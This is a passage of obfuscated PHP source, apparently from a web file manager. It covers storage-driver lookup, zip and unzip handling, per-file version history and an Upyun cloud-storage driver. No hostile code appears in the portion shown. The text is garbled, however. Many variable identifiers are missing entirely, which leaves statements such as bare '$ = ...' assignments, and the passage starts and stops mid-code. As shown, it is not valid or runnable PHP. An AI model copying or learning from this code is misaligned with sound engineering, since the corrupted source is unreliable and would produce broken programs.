return !1; } $ = $[$[1259]]; $µ = self::driverGet($, $); return $µ; } private static function driverGet($Ѷ, &$) { $ґ =& $_SERVER[秼]; $ = $Ѷ[$ґ[1260]]; $ƶ = $Ѷ[$ґ[486]]; switch ($Ѷ[$ґ[33]]) { case KodIO::KOD_IO: $ؘ = self::$driverListSystem[$ƶ]; break; case KodIO::KOD_SOURCE: $ = $ƶ . $; $ؘ = array($ґ[1261] => $ґ[1262], $ґ[6] => $Ѷ); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $Ԃ = $GLOBALS[$ґ[1263]]; self::$driverListUser = array_to_keyvalue($Ԃ, $ґ[486]); } $ؘ = self::$driverListUser[$ƶ]; break; case KodIO::KOD_SHARE_LINK: $ؘ = array($ґ[1261] => $ґ[1264], $ґ[6] => $Ѷ); $ = Action($ґ[1265])->sharePathInfo($Ѷ[$ґ[87]]); $ = $[$ґ[193]]; if (!$[$ґ[193]]) { $Á = Model($ґ[678])->getInfo($[$ґ[679]]); $ = KodIO::clear($Á[$ґ[1266]] . $Ѷ[$ґ[1259]]); $Ѷ[$ґ[571]] = $Á; $Ѷ[$ґ[1241]] = $; $ؘ = array($ґ[1261] => $ґ[1267], $ґ[6] => $Ѷ); } break; case KodIO::KOD_SHARE_ITEM: $ؘ = array($ґ[1261] => $ґ[1268], $ґ[6] => $Ѷ); $Á = Model($ґ[678])->getInfo($Ѷ[$ґ[486]]); if ($Á[$ґ[193]] == $ґ[230]) { $ = KodIO::clear($Á[$ґ[1266]] . $Ѷ[$ґ[1259]]); $Ѷ[$ґ[571]] = $Á; $Ѷ[$ґ[1241]] = $; $ؘ = array($ґ[1261] => $ґ[1269], $ґ[6] => $Ѷ); } else { if (!$) { $ = $Á[$ґ[193]]; } } break; default: $ = $Ѷ[$ґ[87]]; $ؘ = array($ґ[1261] => $ґ[1270]); break; } $ޝ = $Ѷ[$ґ[87]]; if (!isset(self::$driverCache[$ޝ])) { $â = strtolower($ؘ[$ґ[98]]); $ꇯ = $GLOBALS[$ґ[6]][$ґ[92]][$ґ[914]]; $ = $ґ[77] . (isset($ꇯ[$â]) ? $ꇯ[$â] : ucfirst($â)); if (!class_exists($)) { show_json("{$}\40\x6e\157\164\x20\145\170\151\x73\164\x73\x21", !1); } $ش = isset($ؘ[$ґ[6]]) ? $ؘ[$ґ[6]] : !1; self::$driverCache[$ޝ] = new $($ش); } $驘 = self::$driverCache[$ޝ]; $驘->pathDriver = $; $驘->pathBase = $ґ[12]; if (isset($ؘ[$ґ[6]][$ґ[1271]])) { $驘->pathBase = rtrim($ؘ[$ґ[6]][$ґ[1271]], $ґ[8]) . $ґ[8]; $ = $驘->pathBase . ltrim($, $ґ[8]); } $ = $驘->getPath($); if (isset($Ѷ[$ґ[1241]])) { $ = $Ѷ[$ґ[1241]]; } $驘->path = $; return $驘; } public static function errorTips($ʇNj = false) { $ɴЄ =& $_SERVER[秼]; static $ͩ = array(); $혻փ = 1000; if ($ʇNj === -1) { return $ͩ ? $ͩ[count($ͩ) - 1] : $ɴЄ[12]; } if ($ʇNj === !1) { return implode($ɴЄ[287], $ͩ); } if (count($ͩ) >= $혻փ) { $ͩ = array_slice($ͩ, $혻փ * 0.5, $혻փ); } $ͩ[] = $ʇNj; write_log($ɴЄ[176] . ACTION . $ɴЄ[1272] . $ʇNj, $ɴЄ[1273]); } public static function getLastError($ = '') { $ՠ = self::errorTips(-1); return $ՠ ? $ՠ : $; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $ä; if ($ä) { return $ä; } $ݿ = IO::init($_SERVER[秼][8]); return $ݿ; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($Ҏ) { return self::local()->iconvApp($Ҏ); } public static function zipFolder($, $ø = "\x7a\x69\x70", $ݼ = '', $ڲ = REPEAT_RENAME) { $ =& $_SERVER[秼]; $Ћ = IO::listPath($); if (!$Ћ) { return !1; } $Ћ = array_merge($Ћ[$[85]], $Ћ[$[86]]); return self::zip($Ћ, $ø, $ݼ, $ڲ); } public static function zip($ٗ, $ = "\x7a\x69\160", $ߍ = '', $ى = REPEAT_RENAME) { $ =& $_SERVER[秼]; if (is_string($ٗ) && $ٗ) { $ٗ = array(array($[87] => $ٗ)); } $Ɯ = self::init($ٗ[0][$[87]]); $Æ = self::info($ٗ[0][$[87]]); $ = $[12]; $Ԇʤ = $[12]; $ = $[12]; if ($ߍ && substr($ߍ, -1, 1) != $[8]) { $Ԇʤ = get_path_father($ߍ); $ = get_path_this($ߍ); } else { $Ԇʤ = self::pathFather($Æ[$[87]]); $ = $Æ[$[32]] . $[10] . $; if (count($ٗ) > 1) { $϶ = IO::info($Ԇʤ); $ = $϶[$[32]] . $[10] . $; } if ($ߍ) { $Ԇʤ = $ߍ; } } if ($Ɯ->getType() == $[109]) { $ވ = self::init($Ԇʤ); $ = $ވ->getType() == $[109] ? $Ԇʤ : get_path_father($Ɯ->path); $ = rtrim($, $[8]) . $[8]; mk_dir($); } else { $ = TEMP_FILES . $[1274] . time() . rand_string(8) . $[8]; mk_dir($); file_put_contents($ . $[1275], $[12]); $ = $; } $ = IO::info($); if (!$ || !$[$[235]]) { show_json(LNG($[1276]), !1); } $ = self::zipFileList($ٗ, $); foreach ($ as $շ => $Ѣ) { $[$շ] = self::iconvSystem($Ѣ); } $͗Ǟ = get_filename_auto($ . $, $[12], $ى); KodArchive::create(self::iconvSystem($͗Ǟ), $); if (!IO::exist($͗Ǟ)) { if ($) { del_dir($); } write_log($[1277] . $͗Ǟ, $[390]); show_json(LNG($[1278]), !1); } if (!$) { return $͗Ǟ; } $ = self::move($͗Ǟ, $Ԇʤ, $ى); if ($) { del_dir($); } if (!$͗Ǟ) { write_log($[1279] . $͗Ǟ . $[1280] . $Ԇʤ, $[390]); show_json(LNG($[1278]), !1); } return $; } public static function unzip($ȁÆ, $, $Ҋ = "\x2d\x31", $Ӯ = "\x72\145\x70\x6c\141\x63\145") { $Ǚˌ =& $_SERVER[秼]; $ܪ = parent::info($ȁÆ); if (!$ܪ) { show_json(LNG($Ǚˌ[1281]), !1); } $ = IO::infoFullSimple($); if (!$) { $ = IO::mkdir($); } if (isset($[$Ǚˌ[193]]) && trim($[$Ǚˌ[87]], $Ǚˌ[8]) != trim($, $Ǚˌ[8])) { $ƞ = KodIO::make($[$Ǚˌ[192]]); $ξ = IO::fileNameAuto($ƞ, $[$Ǚˌ[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($ƞ . $ξ); } $Ҋ = $Ҋ && $Ҋ != $Ǚˌ[1282] ? @json_decode($Ҋ, !0) : -1; $ށ = self::unzipPart($ȁÆ, $Ҋ); if (!$ށ || !IO::exist($ށ[$Ǚˌ[232]])) { show_json(LNG($Ǚˌ[108]), !1); } $ = $ށ[$Ǚˌ[1283]][count($ށ[$Ǚˌ[1283]]) - 1]; if ($[$Ǚˌ[1284]] == -1 || substr($[$Ǚˌ[32]], -1, 1) == $Ǚˌ[8]) { $ˆ = $ށ[$Ǚˌ[1285]] . rand_string(10) . $Ǚˌ[8]; mk_dir($ˆ); $ = count($ށ[$Ǚˌ[1283]]) == 1 ? IO::ext($ȁÆ) : get_path_ext($ށ[$Ǚˌ[232]]); $ = KodArchive::extract(self::iconvSystem($ށ[$Ǚˌ[232]]), $ˆ, $[$Ǚˌ[1284]], $ξ, $); self::unzipErrorCheck($, array($Ǚˌ[1286], $ȁÆ, $, $, $ށ)); Hook::trigger($Ǚˌ[1287], $ˆ); recursion_dir($ˆ, $ҫ, $ҝ, 0); $յ = array_merge($ҫ, $ҝ); $ڙ = array(); foreach ($յ as $꾏) { $ = IO::move(self::iconvApp($꾏), $, $Ӯ); if ($) { $ڙ[] = $; } } del_dir($ˆ); } else { $ = IO::move($ށ[$Ǚˌ[232]], $, $Ӯ, get_path_this($[$Ǚˌ[32]])); if ($) { $ڙ[] = $; } } return $ڙ ? $ڙ : !1; } public static function unzipList($̀) { $Ԟ =& $_SERVER[秼]; $ܹ = isset($̀[$Ԟ[1288]]) ? $̀[$Ԟ[1288]] : !1; $쥸 = isset($̀[$Ԟ[1284]]) ? @json_decode($̀[$Ԟ[1284]], !0) : -1; $过ɍ = self::unzipPart($̀[$Ԟ[87]], $쥸); if (!$过ɍ || !IO::exist($过ɍ[$Ԟ[232]])) { show_json(LNG($Ԟ[108]), !1); } $Ɍ֦Ҥ = $过ɍ[$Ԟ[1283]][count($过ɍ[$Ԟ[1283]]) - 1]; $ɧ = in_array(IO::ext($过ɍ[$Ԟ[232]]), array($Ԟ[390], $Ԟ[1289], $Ԟ[1290], $Ԟ[1291], $Ԟ[1292], $Ԟ[1293])); if (!$ܹ && ($Ɍ֦Ҥ[$Ԟ[1284]] == -1 || $ɧ)) { $ = $过ɍ[$Ԟ[1285]] . get_path_this($过ɍ[$Ԟ[232]]) . $Ԟ[1294]; if (!IO::exist($)) { $ = $Ɍ֦Ҥ[$Ԟ[1284]] == -1 ? get_path_ext(IO::pathThis($̀[$Ԟ[87]])) : get_path_ext($过ɍ[$Ԟ[232]]); $¡ = KodArchive::listContent(self::iconvSystem($过ɍ[$Ԟ[232]]), !0, $); self::unzipErrorCheck($¡, array($Ԟ[1295], $̀, $过ɍ)); @file_put_contents($, json_encode($¡[$Ԟ[1296]])); } return @json_decode(IO::getContent($), !0); } IO::fileOut($过ɍ[$Ԟ[232]], $ܹ, get_path_this($Ɍ֦Ҥ[$Ԟ[32]])); die; } private static function zipFileList($, $咹 = false) { $ǣ =& $_SERVER[秼]; $ = array(); foreach ($ as $ª) { $ܓ˖ = $ª[$ǣ[87]]; if ($咹) { $ܓ˖ = self::copy($ª[$ǣ[87]], $咹, $ǣ[907]); } else { $ = self::init($ª[$ǣ[87]]); if ($->getType() == $ǣ[109]) { $ܓ˖ = $->path; } } if ($ܓ˖ && self::local()->exist($ܓ˖)) { $[$ª[$ǣ[87]]] = $ܓ˖; } } if (!empty($)) { return array_values($); } show_json(LNG($ǣ[1255]), !1); } private static function localFilePath($) { $ =& $_SERVER[秼]; $NJ = KodIO::parse($); if ($NJ[$[33]] == KodIO::KOD_SOURCE) { $憽 = Model($[913])->fileInfoGet(KodIO::sourceID($)); if (!$憽[$[87]]) { show_json($[1297], !1); } $ = $憽[$[87]]; } $ģ = self::init($); if ($ģ->pathParse[$[1241]]) { $ = $ģ->pathParse[$[1241]]; $ģ = self::init($); } $ɔ = $ģ->getType(); if ($ɔ == $[109] || $ɔ == $[1298]) { if (!$ģ->exist($ģ->path)) { show_json(LNG($[108]), !1); } return $ģ->path; } return !1; } public static function unzipPart($˷, $ = -1) { $̊ =& $_SERVER[秼]; $ = IO::pathThis($˷); if (!$ || $ == -1) { $ŏ = array(array($̊[32] => $, $̊[1284] => -1)); $ŏ[0][$̊[1299]] = $ŏ[0][$̊[32]]; } else { if (is_array($)) { $ŏ = $; $Ա˃ = count($ŏ) - 1; for ($ؿΥ = 0; $ؿΥ <= $Ա˃; $ؿΥ++) { $ċ = $ŏ[$ؿΥ]; $礘 = get_path_this($ċ[$̊[32]]) . (checkExtSafe($ċ[$̊[32]]) ? $̊[12] : $̊[1300]); $ŏ[$ؿΥ][$̊[1299]] = $̊[1301] . intval($ċ[$̊[1284]]) . $̊[473] . $礘; if ($ؿΥ == 0) { continue; } $ŏ[$ؿΥ][$̊[1299]] = $ŏ[$ؿΥ - 1][$̊[1299]] . $̊[1302] . $ŏ[$ؿΥ][$̊[1299]]; } } } if (!is_array($ŏ) || count($ŏ) == 0) { return !1; } $ = $ŏ[count($ŏ) - 1]; if (!IO::exist($˷)) { return !1; } $ډ = TEMP_FILES . $̊[1303] . kodIO::hashPathSafe($˷) . $̊[8]; $ = $ډ . $[$̊[1299]]; mk_dir($ډ); file_put_contents(TEMP_FILES . $̊[1275], $̊[12]); if (IO::exist($)) { return array($̊[232] => $, $̊[1283] => $ŏ, $̊[1285] => $ډ); } $Ϗ = self::localFilePath($˷); if (!$Ϗ) { $Ϗ = $ډ . $̊[1304]; if (!IO::exist($Ϗ)) { self::copy($˷, $ډ, !1, get_path_this($Ϗ)); } } if (!$Ϗ || !IO::exist($Ϗ)) { return !1; } if ($[$̊[1284]] == -1) { return array($̊[232] => $Ϗ, $̊[1283] => $ŏ, $̊[1285] => $ډ); } $蜷 = $Ϗ; foreach ($ŏ as $ؿΥ => $ċ) { if (!$ċ || $ċ[$̊[1284]] == $̊[1282]) { break; } if (substr($ċ[$̊[32]], -1, 1) == $̊[8]) { break; } $ = in_array(get_path_ext($ċ[$̊[1299]]), array($̊[390], $̊[1289], $̊[1290], $̊[1291], $̊[1292], $̊[1293])); $Ӎ = $ؿΥ == count($ŏ) - 1 && $; $̙զ = $ډ . $ċ[$̊[1299]]; $ܞÜ = $ډ . get_path_this($ċ[$̊[32]]); if (IO::exist($̙զ)) { $蜷 = $̙զ; continue; } $Յ = $ؿΥ == 0 ? get_path_ext($) : get_path_ext($蜷); $ʍ = KodArchive::extract(self::iconvSystem($蜷), $ډ, $ċ[$̊[1284]], $ֈ, $Յ); self::unzipErrorCheck($ʍ, array($̊[1305], $˷, $ŏ, $ċ, $̙զ)); if (IO::exist($ܞÜ)) { IO::rename($ܞÜ, get_path_this($̙զ)); } $蜷 = $̙զ; } $ = $蜷; return array($̊[232] => $蜷, $̊[1283] => $ŏ, $̊[1285] => $ډ); } private static function unzipErrorCheck($, $ = false) { $跊 =& $_SERVER[秼]; if ($[$跊[1306]]) { return !0; } write_log(array($跊[1307], $, $), $跊[1308]); show_json($跊[1309] . json_encode($[$跊[1296]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ϕ =& $_SERVER[秼]; $ = $GLOBALS[$ϕ[6]][$ϕ[92]]; if ($[$ϕ[1310]] != 1) { return; } if ($[$ϕ[1311]] <= 0) { return; } if (isset($_REQUEST[$ϕ[1312]]) && $_REQUEST[$ϕ[1312]] == $ϕ[91]) { return; } Hook::bind($ϕ[1313], $ϕ[1314]); Hook::bind($ϕ[1315], $ϕ[1316]); Hook::bind($ϕ[1317], $ϕ[1318]); Hook::bind($ϕ[1319], $ϕ[1320]); Hook::bind($ϕ[1321], $ϕ[1322]); Hook::bind($ϕ[1323], $ϕ[1324]); } public static function eventBeforeUpload($) { if ($[3] && $[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($࿀) { $ä = self::parsePath($࿀[0]); if (!$ä) { return; } self::add($ä); } public static function eventBeforeCopyFile($ձ, $ϧ, $, $ㅖ, $겥, $Ǫʼ) { $ =& $_SERVER[秼]; if (isset($->_data[$[1245]]) && $->_data[$[1245]]) { return; } $͋ = $->getPathOuter($ㅖ); $ = self::parsePath($͋); if (!$) { return; } self::add($); } public static function eventBeforeRename($ե) { $ԭ =& $_SERVER[秼]; $π = self::parsePath($ե[0]); if (!$π) { return; } $ƫ = self::checkInHistory($π); if (!$ƫ) { return; } if ($ƫ[$ԭ[33]] == $ԭ[232]) { $ѐ = self::listData($π); if ($ѐ && $ѐ[$ԭ[456]]) { self::moveHistory($π, $ե[1]); } } else { IO::rename($ƫ[$ԭ[87]], $ե[1]); } } public static function eventBeforeMove($ȉ) { $Ʈ响 =& $_SERVER[秼]; $ڊȃ = self::parsePath($ȉ[0]); if (!$ڊȃ) { return; } $ = self::parsePath($ȉ[1]); if (!$) { return; } $嗾 = $ȉ[3]; $ɦ = self::checkInHistory($ڊȃ); if (!$ɦ) { return; } $ = self::pathHistory($); if ($ɦ[$Ʈ响[33]] == $Ʈ响[232]) { $ڕυ = self::listData($ڊȃ); $ = rtrim($, $Ʈ响[8]) . $Ʈ响[8] . ($嗾 ? $嗾 : get_path_this($ڊȃ)); $ҥ = self::listData($); if ($ڕυ && $ڕυ[$Ʈ响[456]] && $ҥ && $ҥ[$Ʈ响[456]]) { return self::clear($ڊȃ); } if ($ڕυ && $ڕυ[$Ʈ响[456]]) { self::moveHistory($ڊȃ, $嗾, $); } } else { IO::move($ɦ[$Ʈ响[87]], $, !1, $嗾); self::clearEmptyFolder(IO::pathFather($ɦ[$Ʈ响[87]])); } } public static function eventAfterRemove($젿, $) { $䮼 =& $_SERVER[秼]; if (!$) { return; } $ = self::parsePath($젿[0]); if (!$) { return; } $Ȱ = self::checkInHistory($); if (!$Ȱ) { return; } if ($Ȱ[$䮼[33]] == $䮼[232]) { $⟳ = self::listData($, !1); if ($⟳ && $⟳[$䮼[456]]) { self::clear($, !1); } } else { IO::remove($Ȱ[$䮼[87]]); self::clearEmptyFolder(IO::pathFather($Ȱ[$䮼[87]])); } } private static function checkInHistory($Й) { $ꌿĚ = self::pathHistory($Й); if (!IO::exist($ꌿĚ)) { $ꌿĚ .= $_SERVER[秼][1325]; } return IO::exist($ꌿĚ) ? IO::info($ꌿĚ) : !1; } private static function parsePath($ɼ) { $ =& $_SERVER[秼]; if (!$ɼ) { return !1; } if (isset($GLOBALS[$[1326]]) && $GLOBALS[$[1326]]) { return; } $ = KodIO::parse($ɼ); $؊ = $[$[33]]; $ͳ = !$؊ || $؊ == KodIO::KOD_IO || $؊ == KodIO::KOD_SHARE_ITEM; if (!$ͳ || !$[$[1327]]) { return !1; } if (substr($ɼ, 0, strlen(DATA_PATH . $[1328])) == DATA_PATH . $[1328]) { return !1; } if ($؊ == KodIO::KOD_SHARE_ITEM) { $ = IO::init($ɼ); if ($->pathParse[$[1241]]) { return self::parsePath($->pathParse[$[1241]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $љ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $[1329]); foreach ($љ as $䰅) { if (!$؊ && substr($ɼ, 0, strlen($䰅)) == $䰅) { return !1; } } self::log($GLOBALS[$[1236]] . $[1330] . $ɼ); return $ɼ; } private static function pathHistory($) { $ =& $_SERVER[秼]; $ɩ = self::$_historyBase . ltrim(KodIO::clear($), $[8]); $ɩ = str_replace(array($[1331]), array($[1332]), $ɩ); return $ɩ; } public static function log($ҋ) { } public static function historyCount($Ӎ) { $Ӭ =& $_SERVER[秼]; $͐٦ = array(); $ŀ = array(); foreach ($Ӎ as $Α) { $ђ = get_path_father($Α); if (!$ŀ[$ђ]) { $ŀ[$ђ] = array(); } $ŀ[$ђ][] = get_path_this($Α); } foreach ($ŀ as $ђ => $̋) { $ = self::parsePath($ђ); if (!$) { continue; } foreach ($̋ as $) { $ = self::listData(rtrim($, $Ӭ[8]) . $Ӭ[8] . $, !1); if ($ && $[$Ӭ[456]]) { $͐٦[rtrim($ђ, $Ӭ[8]) . $Ӭ[8] . $] = count($[$Ӭ[456]]); } } } return $͐٦; } public static function add($٬ή) { $㍰ =& $_SERVER[秼]; $ݞ݀ = self::listData($٬ή); if (!$ݞ݀) { return; } $ = Model($㍰[858])->get($㍰[1333]); $ӎ = intval($GLOBALS[$㍰[6]][$㍰[92]][$㍰[1311]]); $ = $ == $㍰[1334] ? min(5, $ӎ) : $ӎ; if ($ӎ <= 0) { return; } $ = IO::info($٬ή); $܉ך = $ݞ݀[$㍰[456]]; if ($[$㍰[79]] == 0) { return; } if ($[$㍰[79]] >= 1024 * 1024 * 500) { return !1; } $ۇ = IO::hashSimple($٬ή); if ($܉ך && $܉ך[0][$㍰[686]] == $ۇ) { return !0; } if (array_key_exists($㍰[235], $) && !$[$㍰[235]]) { return !1; } $ɸ = short_id(time()); $ڏ = array($㍰[486] => $ɸ, $㍰[686] => $ۇ, $㍰[32] => $[$㍰[32]] . $㍰[10] . date($㍰[1335]) . rand_string(1), $㍰[79] => $[$㍰[79]], $㍰[538] => USER_ID, $㍰[233] => time(), $㍰[1336] => $㍰[12]); IO::mkdir($ݞ݀[$㍰[1337]]); $ = IO::copy($٬ή, $ݞ݀[$㍰[1337]], !1, $ڏ[$㍰[32]]); if (!$) { self::clearEmptyFolder($ݞ݀[$㍰[1337]]); return !1; } array_unshift($܉ך, $ڏ); if (count($܉ך) > $) { $̡ = array_slice($܉ך, $); foreach ($̡ as $) { IO::remove($ݞ݀[$㍰[1337]] . $[$㍰[32]]); } $܉ך = array_slice($܉ך, 0, $); } return self::saveData($ݞ݀[$㍰[1338]], $܉ך); } public static function remove($, $٥) { $ =& $_SERVER[秼]; $ = self::listData($); $ = array(); if (!$) { return !1; } foreach ($[$[456]] as $ш) { if ($ш[$[486]] == $٥) { IO::remove($[$[1337]] . $ш[$[32]]); continue; } $[] = $ш; } return self::saveData($[$[1338]], $); } public static function clear($, $ = true) { $ߚ =& $_SERVER[秼]; $ = self::listData($, $); if (!$) { return !1; } foreach ($[$ߚ[456]] as $) { IO::remove($[$ߚ[1337]] . $[$ߚ[32]]); } return self::saveData($[$ߚ[1338]], array()); } public static function moveHistory($, $ = '', $ = '') { $ =& $_SERVER[秼]; $ʊ = self::listData($, !1); if (!$ʊ || !$ʊ[$[456]]) { return !1; } $ = $[1325]; $ = $ ? $ : get_path_this($); $ = $ ? $ : $ʊ[$[1337]]; $ = substr(get_path_this($ʊ[$[1338]]), 0, -strlen($)); foreach ($ʊ[$[456]] as $ᾶ => $γ) { $ = $ . substr($γ[$[32]], strlen($)); $齏 = IO::move($ʊ[$[1337]] . $γ[$[32]], $, !1, $); if ($齏) { $ʊ[$[456]][$ᾶ][$[32]] = $; } } $ʊ[$[1338]] = IO::move($ʊ[$[1338]], $, !1, $ . $); self::saveData($ʊ[$[1338]], $ʊ[$[456]]); self::clearEmptyFolder($ʊ[$[1337]]); } public static function rollback($҅, $ښ) { $ =& $_SERVER[秼]; $ = self::listData($҅); if (!$) { return; } $ͯ = IO::info($҅); foreach ($[$[456]] as $ꕠ => $) { if ($[$[486]] == $ښ) { self::add($҅); $ = $[$[1337]] . $[$[32]]; $ψ = IO::copy($, IO::pathFather($҅), REPEAT_REPLACE, $ͯ[$[32]]); if ($ψ) { self::remove($҅, $ښ); } return $ψ; } } return !1; } public static function setDetail($Ĉ, $ؘ, $ӄ) { $ʄ =& $_SERVER[秼]; $ǡ = self::listData($Ĉ); if (!$ǡ) { return; } foreach ($ǡ[$ʄ[456]] as $ => $) { if ($[$ʄ[486]] == $ؘ) { $ǡ[$ʄ[456]][$][$ʄ[1336]] = $ӄ; self::saveData($ǡ[$ʄ[1338]], $ǡ[$ʄ[456]]); return !0; } } return !1; } public static function fileInfo($, $֥) { $ =& $_SERVER[秼]; $䝍 = self::listData($); if (!$䝍) { show_json(LNG($[108]), !1); } $̕ = $[12]; foreach ($䝍[$[456]] as $ => $ģ) { if ($ģ[$[486]] != $֥) { continue; } $̕ = $䝍[$[1337]] . $ģ[$[32]]; break; } if (!$̕) { show_json(LNG($[108]), !1); } return IO::info($̕); } public static function fileOut($È, $±, $ = false) { $Ү =& $_SERVER[秼]; $ѡŦ = self::fileInfo($È, $±); $Ì =& $GLOBALS[$Ү[7]]; $ = isset($Ì[$Ү[1288]]) && $Ì[$Ү[1288]] == 1; if (isset($Ì[$Ү[33]]) && $Ì[$Ү[33]] == $Ү[1339]) { return IO::fileOutImage($ѡŦ[$Ү[87]], $Ì[$Ү[1340]]); } IO::fileOut($ѡŦ[$Ү[87]], $, get_path_this($È)); } public static function listData($, $ٲ = true) { $ߥ =& $_SERVER[秼]; if ($ٲ && !IO::exist($)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($); $ = array($ߥ[1338] => $ . $ߥ[1325], $ߥ[1337] => rtrim(get_path_father($), $ߥ[8]) . $ߥ[8], $ߥ[456] => array()); $˵͒ = IO::getContent($[$ߥ[1338]]); if ($˵͒) { $ = json_decode($˵͒, !0); if (is_array($)) { $[$ߥ[456]] = $; } } return $; } private static function saveData($, $ʛ۲) { $ =& $_SERVER[秼]; self::log($[1341] . $ . $[74] . count($ʛ۲), $[840]); if ($ʛ۲) { return IO::setContent($, json_encode($ʛ۲)); } $ڶ = IO::pathFather($); IO::remove($); self::clearEmptyFolder($ڶ); return !0; } public static function clearEmptyFolder($) { $Í =& $_SERVER[秼]; if (trim($, $Í[8]) == trim(self::$_historyBase, $Í[8])) { return; } $嶭Ҕ = IO::pathFather($); $뚏 = IO::has($, !0); if ($뚏[$Í[241]] > 0 || $뚏[$Í[242]] > 0) { return; } IO::remove($); self::clearEmptyFolder($嶭Ҕ); } private static function getBasePath() { $ՐМ =& $_SERVER[秼]; $Е = Model($ՐМ[1342])->get($ՐМ[1343]); if ($Е) { if (!IO::exist($Е)) { IO::mkdir($Е); } if (get_path_this($Е) == $ՐМ[1328]) { $ = $ՐМ[1344] . rand_string(8); @rename($Е, get_path_father($Е) . $ՐМ[8] . $); $Е = DATA_PATH . $ . $ՐМ[8]; file_put_contents(DATA_PATH . $ՐМ[1275], $ՐМ[12]); Model($ՐМ[1342])->set($ՐМ[1343], $Е); } return $Е; } $Е = DATA_PATH . $ՐМ[1344] . rand_string(8) . $ՐМ[8]; $Е = IO::mkdir($Е); $Е = rtrim($Е, $ՐМ[8]) . $ՐМ[8]; file_put_contents($Е . $ՐМ[1275], $ՐМ[12]); file_put_contents(DATA_PATH . $ՐМ[1275], $ՐМ[12]); Model($ՐМ[1342])->set($ՐМ[1343], $Е); return $Е; } } goto AՒȃ; F: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\x74\164\x70\x3a\57\x2f\166\x30\x2e\141\160\151\x2e\165\x70\x79\165\x6e\x2e\x63\x6f\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($Ϋ) { parent::__construct(); $this->_init($Ϋ); } public function _init($Ќ̜) { $ܵ =& $_SERVER[秼]; foreach ($Ќ̜ as $ => $Ҿ) { if (isset($this->{$})) { $this->{$} = $Ҿ; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($ܵ[1555] . LNG($ܵ[1474])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($, $ = "\x47\x45\x54") { $߈Ш =& $_SERVER[秼]; $γ = gmdate($߈Ш[1503]); $ = base64_encode(hash_hmac($߈Ш[1556], "{$}\46{$}\x26{$γ}", md5("{$this->userpass}"), !0)); $ = array("\101\x75\x74\150\x6f\162\151\x7a\141\x74\151\x6f\x6e\x3a\x55\120\x59\125\x4e\40{$this->username}\72{$}", "\x44\141\x74\x65\72{$γ}"); return $; } public function ussRequest($҇, $ = "\107\105\x54", $㙭 = false, $ع = false, $ = false) { $ =& $_SERVER[秼]; $҇ = trim($҇, $[8]); $ݑҝ = "\57{$this->bucket}\x2f" . rawurlencode($҇); $⨼Һ = $this->ussHeaders($ݑҝ, $); if ($ع) { $⨼Һ = array_merge($⨼Һ, $ع); } $ыӲ = url_request($this->endpoint . $ݑҝ, $, $㙭, $⨼Һ, $); if (!$ыӲ) { $҂ = LNG($[1557]); $this->writeLog($҂); return array($[1306] => !1, $[1296] => $҂); } if (strtolower($) == $[229] || in_array($ыӲ[$[1306]], array($[263], $[1558]))) { $㙭 = $ыӲ[$[1559]]; if (!$ыӲ[$[838]]) { $㙭 = isset($㙭[0]) ? $㙭[0] : $[12]; } } else { $㙭 = json_decode($ыӲ[$[1296]], !0); if (!$㙭) { $㙭 = $ыӲ[$[1296]]; } else { if (!$ыӲ[$[838]] && isset($㙭[$[1560]])) { $㙭 = $㙭[$[1560]]; } } } if (!$ыӲ[$[838]]) { $this->writeLog($this->__errorMessage($㙭)); } return array($[1306] => $ыӲ[$[838]], $[1296] => $㙭); } private function __errorMessage($) { $ԇ =& $_SERVER[秼]; if (!$) { return $ԇ[12]; } static $ = null; if (!$) { $ = I18n::getType(); } if ($ != $ԇ[1513]) { return $; } $Ӏ = array($ԇ[1561] => $ԇ[1562], $ԇ[1563] => $ԇ[1564], $ԇ[1565] => $ԇ[1564], $ԇ[1566] => $ԇ[1567], $ԇ[1568] => $ԇ[1569], $ԇ[1570] => $ԇ[1571], $ԇ[1572] => $ԇ[1573]); return isset($Ӏ[$]) ? $Ӏ[$] : $; } public function mkfile($, $́ = '', $琯 = REPEAT_RENAME) { if ($this->setContent($, $́)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $м =& $_SERVER[秼]; $ = trim($, $м[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $Ԝ = array($м[1574]); $՜ź = $this->ussRequest($, $м[290], !1, $Ԝ); return $՜ź[$м[1306]] ? $this->getPathOuter($) : !1; } public function copyFile($ք, $) { $ݤ =& $_SERVER[秼]; $ = array($ݤ[1575] . "\x2f{$this->bucket}\x2f{$ք}", $ݤ[1576]); $σ = $this->ussRequest($, $ݤ[255], !1, $); return $σ[$ݤ[1306]] ? !0 : $this->getPathOuter($); } public function moveFile($ג, $Ư) { $驡 =& $_SERVER[秼]; $ = array($驡[1577] . "\x2f{$this->bucket}\57{$ג}", $驡[1576]); $ъ = $this->ussRequest($Ư, $驡[255], !1, $); return $ъ[$驡[1306]] ? !0 : $this->getPathOuter($Ư); } public function delFile($) { $ؕ =& $_SERVER[秼]; $݆ = $this->ussRequest($, $ؕ[1578]); return $݆[$ؕ[1306]] ? !0 : !1; } public function delFolder($) { $ =& $_SERVER[秼]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $츝Ñ = $ѽ = array(); $this->fileList($, $츝Ñ, $ѽ, !0); $this->listItemCache = !0; foreach ($ѽ as $ґ) { $ = $this->ussRequest($ґ[$[32]], $[1578]); if (!$[$[1306]]) { return !1; } } usort($츝Ñ, function ($, $) { $ь˥ =& $_SERVER[秼]; return substr_count($, $ь˥[8]) - substr_count($, $ь˥[8]); }); foreach 